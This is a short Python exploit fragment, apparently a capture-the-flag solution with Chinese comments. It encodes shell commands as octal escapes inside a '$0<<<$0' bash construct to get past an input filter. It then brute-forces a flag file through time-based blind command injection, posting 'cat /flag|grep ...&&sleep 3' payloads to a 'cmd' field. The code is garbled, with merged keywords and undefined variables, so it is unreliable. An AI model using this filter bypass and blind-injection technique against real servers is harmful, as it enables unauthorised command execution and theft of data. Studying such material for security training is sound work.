defstr_to_oct(cmd):#命令转换成八进制字符串 s = "" for t in cmd: o = ('%s' % (oct(ord(t))))[2:] s+='\\'+o return s
defbuild(cmd):#八进制字符串转换成字符 payload = "$0<<<$0\<\<\<\$\\\'" s = str_to_oct(cmd).split('\\') for _ in s[1:]: payload+="\\\\" for i in _: payload+=n[int(i)] return payload+'\\\''
defget_flag(url,payload):#盲注函数 try: data = {'cmd':payload} r = requests.post(url,data,timeout=1.5) except: returnTrue returnFalse
#盲注 #a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@' # for i in range(1,50): # for j in a: # cmd=f'cat /flag|grep ^{f+j}&&sleep 3' # url = "http://ip/" # if get_flag(url,build(cmd)): # break # f = f+j # print(f)